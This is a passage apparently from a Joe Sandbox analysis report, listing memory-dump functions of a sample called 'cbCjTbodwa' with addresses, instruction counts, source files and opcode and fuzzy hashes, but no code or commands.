                                                      • Instruction ID: 3bfd0f6c4f9c5a97ff1c21639716e4324bfa89b8e0add892b363f84ae81685eb
                                                      • Opcode Fuzzy Hash: 9355a61f17fbacf73b9be14b83a8846353f1cad5d3809606907e03e642e83d96
                                                      • Instruction Fuzzy Hash: FE315332708949CFDF58EF28C4A5DB4B7E2FF6931070401AAD05AC7196DE25F845CB91
                                                      Function 00007FFD9BFF45CD Relevance: .1, Instructions: 111COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 82450806948eeef05ebd6a6cd13ada57e87655ccee6a732f44ef712c5f6f0319
                                                      • Instruction ID: 39557bf00df58d6c58829514ac5d0cc4b4aab35ea0b210d9d913e4dfffef038d
                                                      • Opcode Fuzzy Hash: 82450806948eeef05ebd6a6cd13ada57e87655ccee6a732f44ef712c5f6f0319
                                                      • Instruction Fuzzy Hash: 0F31A471B0990E4FEB58DF98D4A19B8FBA1FF55310B15427AD01ED3292DF25B912CB80
                                                      Function 00007FFD9BFF29F2 Relevance: .1, Instructions: 99COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 5ab10d06efe953665ec17d1a843777379c97f415f8d9196ea58bf2e72435ea44
                                                      • Instruction ID: 5096fac703782bce6ba8eeaf13ae98d348642443709264b32b9d628adc56f3ab
                                                      • Opcode Fuzzy Hash: 5ab10d06efe953665ec17d1a843777379c97f415f8d9196ea58bf2e72435ea44
                                                      • Instruction Fuzzy Hash: CD31B031B1E68D8FDF66DFA4D8605ECBFB1FF46300F4501AAE00AD72A2DA296905C751
                                                      Function 00007FFD9BC592C5 Relevance: .1, Instructions: 98COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: dbb1edb9ecdf504bb6aad0575d2fcde83ecd43839473b2957a8dcfb22459df6e
                                                      • Instruction ID: 1e1e18e114d671b3f47c041fd875e95ab1dbbd428f742fd38436e8c66532ec87
                                                      • Opcode Fuzzy Hash: dbb1edb9ecdf504bb6aad0575d2fcde83ecd43839473b2957a8dcfb22459df6e
                                                      • Instruction Fuzzy Hash: 6B313D30A1EA4ECFEB68DBE484695BD77A1FF94300F5201B6D01ED25E1DAF96A408741
                                                      Function 00007FFD9BC5FDB5 Relevance: .1, Instructions: 98COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b71a706db2c97f12eb62d08038d4b169c76d461e08e5a334b4d6a6df8fa91767
                                                      • Instruction ID: 64112fdccd8b12567fb0ed93d550c9cd0d2f3a2b5e7f363e39fcd17690ed0c10
                                                      • Opcode Fuzzy Hash: b71a706db2c97f12eb62d08038d4b169c76d461e08e5a334b4d6a6df8fa91767
                                                      • Instruction Fuzzy Hash: 78310D30A1E64ECFEB7CDBE484A55BD77A1FF44300F52007AD00ED72A2DAB86A809741
                                                      Function 00007FFD9B891171 Relevance: .1, Instructions: 97COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1720570297.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9b890000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 3c23a0351240e657b80e15bb61a0520986736b215b15d6f54ff0bc814b119d29
                                                      • Instruction ID: b2e058b195e02bdc01c76f0786cec32c640a7c277a065b188c32f76e0a66fcf6
                                                      • Opcode Fuzzy Hash: 3c23a0351240e657b80e15bb61a0520986736b215b15d6f54ff0bc814b119d29
                                                      • Instruction Fuzzy Hash: E731C430A0D64E9FDF45EBA4C8A59A97BF1FF5A300B0505BBC00AD71A2DA38A945CB10
                                                      Function 00007FFD9BC5662D Relevance: .1, Instructions: 96COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 7ccc7e0a63be0d8f6b2bcb1644ee44940df47dc6221802ee3f2330456c661c7a
                                                      • Instruction ID: 899558ba2edd7dba488d1897fb5b9a5e0302d1217f63eb4a552ffcb7f27b311b
                                                      • Opcode Fuzzy Hash: 7ccc7e0a63be0d8f6b2bcb1644ee44940df47dc6221802ee3f2330456c661c7a
                                                      • Instruction Fuzzy Hash: 7C318F71B0D90A5BDB58DBA894629ACF7A1FF95350B564139E01ED3292CF24BD128B40
                                                      Function 00007FFD9BC5B560 Relevance: .1, Instructions: 96COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 85de778e19ac55fd4d9cadb9b68a54e312a611c89497b9f19d8e144f8c69795c
                                                      • Instruction ID: bb5c143c8b7db89bce77c8d82ed46170466c922b7b93168719b2091c296c5e3b
                                                      • Opcode Fuzzy Hash: 85de778e19ac55fd4d9cadb9b68a54e312a611c89497b9f19d8e144f8c69795c
                                                      • Instruction Fuzzy Hash: 67316F71E0EA8D8FDB59DFA8C8705AC7F71FF15300F4500BAD04AE72A2DA646905C751
                                                      Function 00007FFD9BFF7275 Relevance: .1, Instructions: 95COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: da62c92c0f3a1ede5494d9e10db246ea2bbcad285c76a3bf8673b6fe27decb42
                                                      • Instruction ID: 914379102bdf375c8281a33b880e63c21e2b43e8178cce427d1b1cc01ae3034f
                                                      • Opcode Fuzzy Hash: da62c92c0f3a1ede5494d9e10db246ea2bbcad285c76a3bf8673b6fe27decb42
                                                      • Instruction Fuzzy Hash: B8312C30F1E54EDFEBA8DF8484A15BDBBA1FF44300F51027AE40ED65A1DB3A6A109B41
                                                      Function 00007FFD9B890C25 Relevance: .1, Instructions: 95COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1720570297.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9b890000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 5db9f317f9703a3e9e78d05e83b7be1f979753c769bca39f0bf5083959c2887d
                                                      • Instruction ID: 397263267d64c93f2c8005be89ddfa42816fcd66b26a3284ba81db404b8c8a3d
                                                      • Opcode Fuzzy Hash: 5db9f317f9703a3e9e78d05e83b7be1f979753c769bca39f0bf5083959c2887d
                                                      • Instruction Fuzzy Hash: 8A314B32F1E24D8FEB21A7A898651EC7F60EF46724F0641F7D0588B1E3D9782685C781
                                                      Function 00007FFD9B890998 Relevance: .1, Instructions: 94COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1720570297.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9b890000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 06f9eed68c12a2364c8e9c4f24c3555c1ead3d1e39097ab2d29df61646eebd04
                                                      • Instruction ID: 467643adbd696c7040030407b8fa8b3ce595b55252cc695c2699807311be00c3
                                                      • Opcode Fuzzy Hash: 06f9eed68c12a2364c8e9c4f24c3555c1ead3d1e39097ab2d29df61646eebd04
                                                      • Instruction Fuzzy Hash: 7721F920B6D91D1FEB58F76C586EA7576C6EB9C311B5100B9E40EC32F7DD28AC824281
                                                      Function 00007FFD9BFF46A3 Relevance: .1, Instructions: 92COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b617c22082829bb735f923fad391d7a626e5bba35889b16b548f3851c7ec0458
                                                      • Instruction ID: b51149003403aab2b6e70fa833a9b6df80e10adccc5d8a8f95c245d9976160fc
                                                      • Opcode Fuzzy Hash: b617c22082829bb735f923fad391d7a626e5bba35889b16b548f3851c7ec0458
                                                      • Instruction Fuzzy Hash: BC21F962F0E54D4EEB689BE998721A8BBE0EF46350F0602BDD05DC71E2DE196A054640
                                                      Function 00007FFD9BC5ECA0 Relevance: .1, Instructions: 90COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: c83325bb2035580de309b0e09d6baa829aead26c7b7feec722579bf3d207464d
                                                      • Instruction ID: 6c047654357bca64493e9819acae86d0e204a95a70cdbec23a622deb08525fd5
                                                      • Opcode Fuzzy Hash: c83325bb2035580de309b0e09d6baa829aead26c7b7feec722579bf3d207464d
                                                      • Instruction Fuzzy Hash: AE318E10A1E5AF8AE33A83A844705787B61EF92310B1945F6C09FCB1E7D85CB945E781
                                                      Function 00007FFD9BFF6160 Relevance: .1, Instructions: 90COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: dd661a61d4f94d2a82d5dec0ff7c0cc9e7b7efb5c943fbd8ac21f35bc85eb02c
                                                      • Instruction ID: be8e55b03309f0822e88e75b5431c57c966e0ee4a3039a1f1dc7d0c1bbb13522
                                                      • Opcode Fuzzy Hash: dd661a61d4f94d2a82d5dec0ff7c0cc9e7b7efb5c943fbd8ac21f35bc85eb02c
                                                      • Instruction Fuzzy Hash: C3315010B1E99A5AFB3A8A5844B45747F51EF9230171943F7C087CB4A7DC3D7981C341
                                                      Function 00007FFD9BFF7960 Relevance: .1, Instructions: 88COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 5cae34e546ed4e04012777e9e0cddb6ac4dc10012df00c087be51af5456437b2
                                                      • Instruction ID: 55f2f7bdb4b593438a7f11fcac78c4f3d61898f91fe4c149cefc851e5d2922a7
                                                      • Opcode Fuzzy Hash: 5cae34e546ed4e04012777e9e0cddb6ac4dc10012df00c087be51af5456437b2
                                                      • Instruction Fuzzy Hash: 4731A530E1890BCFEBA8DB948465ABD76B1FF44740F52017AD41ED6291DB397A40EB41
                                                      Function 00007FFD9BC581B0 Relevance: .1, Instructions: 86COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f5099cd5a94a51f389d31354c17a5aa1e6adf56d25d54bb5e84267d6c2d3dbc0
                                                      • Instruction ID: c009b572121a3a6dad1c4232650f6126a3891e6df3d6f8c7ddb97f775b15c59a
                                                      • Opcode Fuzzy Hash: f5099cd5a94a51f389d31354c17a5aa1e6adf56d25d54bb5e84267d6c2d3dbc0
                                                      • Instruction Fuzzy Hash: 2C312910A1E9DE4AE73983A88C745B87F61EF51302B1D46FAC09ADB4E7D46CA9C58381
                                                      Function 00007FFD9BC555C2 Relevance: .1, Instructions: 84COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4f0c8648ff7c0594bbc73c07e18637086076613f70ab9a4a3d615c5b2f18cf17
                                                      • Instruction ID: 17595a303e3a133caac8e70cca0b638f416ca731a8385b49535e298694adc247
                                                      • Opcode Fuzzy Hash: 4f0c8648ff7c0594bbc73c07e18637086076613f70ab9a4a3d615c5b2f18cf17
                                                      • Instruction Fuzzy Hash: D0210C71E1991D9FDF98DBA8C465AECB7B1FF58310F0001BAD00EE32A1DE75A9818B00
                                                      Function 00007FFD9BFFC642 Relevance: .1, Instructions: 84COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 31a1fd3922999e0e1b753ad4e3b13661d8530440392d4649789d3f128fc1bd16
                                                      • Instruction ID: 4bc303a39785c0c0de21056cad518a1fa19ef96c2ae54f176c10d7141c914e21
                                                      • Opcode Fuzzy Hash: 31a1fd3922999e0e1b753ad4e3b13661d8530440392d4649789d3f128fc1bd16
                                                      • Instruction Fuzzy Hash: 3C21D871E1991D9FDF98DF58C865AEDB7B1FF69300F0142AAD00EE3291DA35A9418B40
                                                      Function 00007FFD9BC5C0D2 Relevance: .1, Instructions: 83COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b11c7ec2eab11fbb2d11a6b86a681bd93066e8baa2a489a4c8bbeddd50902055
                                                      • Instruction ID: 358573e8c99466ae65cb03d53560eccee5bcfce4ee564a82fdde935f6e42038d
                                                      • Opcode Fuzzy Hash: b11c7ec2eab11fbb2d11a6b86a681bd93066e8baa2a489a4c8bbeddd50902055
                                                      • Instruction Fuzzy Hash: D121F971E1981D8FDF98DBA8C465AEDB7B1FF58311F0141BAD00EE32A1DA75A981CB40
                                                      Function 00007FFD9BFF3562 Relevance: .1, Instructions: 83COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 2be424736cff53fd6372f7933e4d39023eb54988f7b993f5ab3fd688023fdfb6
                                                      • Instruction ID: 63a0a98103dbe9d2fac5799e3335d8a07e9671bbabf6c4c4f509c7b0df8d8ad1
                                                      • Opcode Fuzzy Hash: 2be424736cff53fd6372f7933e4d39023eb54988f7b993f5ab3fd688023fdfb6
                                                      • Instruction Fuzzy Hash: DB21D871F1991D8FDF98DF58C465AADB7B1FF5C300F0402AAD04EE3295DA35AA418B40
                                                      Function 00007FFD9BFFBAE8 Relevance: .1, Instructions: 83COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 59508978a413a470e147af9623d3979133f3ae36d92d96540ddda4c3dce1360e
                                                      • Instruction ID: e9a26ec2c87b57d4e57f81a5218921a025fd022c807708be95ba4244c410cdca
                                                      • Opcode Fuzzy Hash: 59508978a413a470e147af9623d3979133f3ae36d92d96540ddda4c3dce1360e
                                                      • Instruction Fuzzy Hash: 3921AE30B0DA8D8FDB64DF98C8609ACBFB1FF49340F5101BAD00AE72A6DA266905C751
                                                      Function 00007FFD9BFFA1A8 Relevance: .1, Instructions: 80COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b22ea734f2690b2b4bda4be0a55231fafc2f84146d230d5be1514787f863d20c
                                                      • Instruction ID: a58c7da05f83baccebdec015f3283e385f7bd4425a1f869cade617b7d6bfcb42
                                                      • Opcode Fuzzy Hash: b22ea734f2690b2b4bda4be0a55231fafc2f84146d230d5be1514787f863d20c
                                                      • Instruction Fuzzy Hash: 0E213A14B2F45F8AE7388A9884B04B47B61FF51310B2547FAD05BCB8EBD92DBA818341
                                                      Function 00007FFD9BC54918 Relevance: .1, Instructions: 77COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 99676cb8151db66ac5ca63895f9d4bacec4cb2c61438bd52d323544bf6b8b5e9
                                                      • Instruction ID: ea0b29320356c747f8ff73a0f81137287de4a3216d5dc33c9dd1de8172a5bd5d
                                                      • Opcode Fuzzy Hash: 99676cb8151db66ac5ca63895f9d4bacec4cb2c61438bd52d323544bf6b8b5e9
                                                      • Instruction Fuzzy Hash: 3A217C35E2D95EAFDB94DBE8C8A15FCB7B1FF88300F11007AD01AE3295DA656905CB50
                                                      Function 00007FFD9BC56722 Relevance: .1, Instructions: 74COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 19a4b280c3392ef9696a6088cf17b10f7deb084cd20ddbecf809c5bb3524d71a
                                                      • Instruction ID: 10a8267fec7a54b0bab3a684b2ec76b4cb172d57908ba462f6ee47caa77ad1ac
                                                      • Opcode Fuzzy Hash: 19a4b280c3392ef9696a6088cf17b10f7deb084cd20ddbecf809c5bb3524d71a
                                                      • Instruction Fuzzy Hash: 3E112472F0E6898FEB59FBF494665EC77A0EF55360F0501BEE04AC71A3EA582902C310
                                                      Function 00007FFD9B894413 Relevance: .1, Instructions: 70COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1720570297.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9b890000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 01202b4e1744d41c80621b3fa02db29259641e4e70c0e8537ac781f9d3815b4e
                                                      • Instruction ID: 92880bc448ab4957ec111b748de51653b8ab0ea800b76b39c0e1880d79988594
                                                      • Opcode Fuzzy Hash: 01202b4e1744d41c80621b3fa02db29259641e4e70c0e8537ac781f9d3815b4e
                                                      • Instruction Fuzzy Hash: 00213631F1A50D4EEFB4E794C4746B867A1FF58710F5601B9C00DD32B1DE38AA808700
                                                      Function 00007FFD9BC552C1 Relevance: .1, Instructions: 64COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 886d177c885d0692ce07356ba8876ba25a48f3ed1e0fb6ef5b67bc60f4229196
                                                      • Instruction ID: 76f24bfa6fab85a3aa33a4563985088f7bc99b05a9f52b18a6ccd14f01c30cb1
                                                      • Opcode Fuzzy Hash: 886d177c885d0692ce07356ba8876ba25a48f3ed1e0fb6ef5b67bc60f4229196
                                                      • Instruction Fuzzy Hash: D9116D62F0F59F8AF27952F818362BC76505F91311F6B01BAD48E860E3DCCC3A456382
                                                      Function 00007FFD9BC57260 Relevance: .1, Instructions: 63COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 938c2424e927db921135442fe7822448e5ca04f1908cd68978108bfece29e136
                                                      • Instruction ID: 1728b61b1ea56d74eb6b1e7be77800d30973be413ee087daf4b286402f0f0a81
                                                      • Opcode Fuzzy Hash: 938c2424e927db921135442fe7822448e5ca04f1908cd68978108bfece29e136
                                                      • Instruction Fuzzy Hash: E0110431B1D90E8EDB69EBB494218FD3390EFA4252B01067AE04FC30D2DE68B9458350
                                                      Function 00007FFD9BC5DD50 Relevance: .1, Instructions: 63COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 776fc15da97ff4206dd3a08f98fd5e785a9a9a24ac5f42a4479bdef0eb61639f
                                                      • Instruction ID: 2214cb17f3fcf7c670f77aed273988256632976f49bef14bc8a516e411253bc6
                                                      • Opcode Fuzzy Hash: 776fc15da97ff4206dd3a08f98fd5e785a9a9a24ac5f42a4479bdef0eb61639f
                                                      • Instruction Fuzzy Hash: FF112731F1DA0E4FEB68EBB580219FD77A0EF54355B000576E04EC70E2DE68B9058350
                                                      Function 00007FFD9BFF5210 Relevance: .1, Instructions: 63COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 7aaf9366a1ed13a88732b9a9478a89fe7a502363581f70b001d30b463264c28d
                                                      • Instruction ID: be0a2c1ac52243333d82dea062cdf490f6eb646f678432b558d1febb53ae96c7
                                                      • Opcode Fuzzy Hash: 7aaf9366a1ed13a88732b9a9478a89fe7a502363581f70b001d30b463264c28d
                                                      • Instruction Fuzzy Hash: 73112331B1990E4EEB68EF6190218FA7BA0EF54351B0107BAD00EC34E3DF29FA058290
                                                      Function 00007FFD9B89541B Relevance: .1, Instructions: 61COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1720570297.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9b890000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 65dd263b225fa980727e5f74e520a68ef3ba2f17c4d52c2d4ffb52de229953ce
                                                      • Instruction ID: 8b685be9d2d5d3d827c64cf3ec853671e792866d2429d4037139ccfec735667e
                                                      • Opcode Fuzzy Hash: 65dd263b225fa980727e5f74e520a68ef3ba2f17c4d52c2d4ffb52de229953ce
                                                      • Instruction Fuzzy Hash: 55018E22B29D4D8FEFA8E76C8069A7827D1EF5C740B4604B8E00EC72F3ED19AD408740
                                                      Function 00007FFD9BC5DBCE Relevance: .1, Instructions: 59COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: dcd3394b2185d1e17b2234b855c8d366e79c911a7552bddc336a824eceb959eb
                                                      • Instruction ID: 1fd6e5bdd394d8160864fc237752000c9ac498c1f200b24a9d2f9574614e6431
                                                      • Opcode Fuzzy Hash: dcd3394b2185d1e17b2234b855c8d366e79c911a7552bddc336a824eceb959eb
                                                      • Instruction Fuzzy Hash: FC116B3170960F4FE7299BA8D4216F93390EF55365F11017BE90DC72E1DF65AA508750
                                                      Function 00007FFD9BC570DE Relevance: .1, Instructions: 59COMMON
                                                      Download Yara Rule
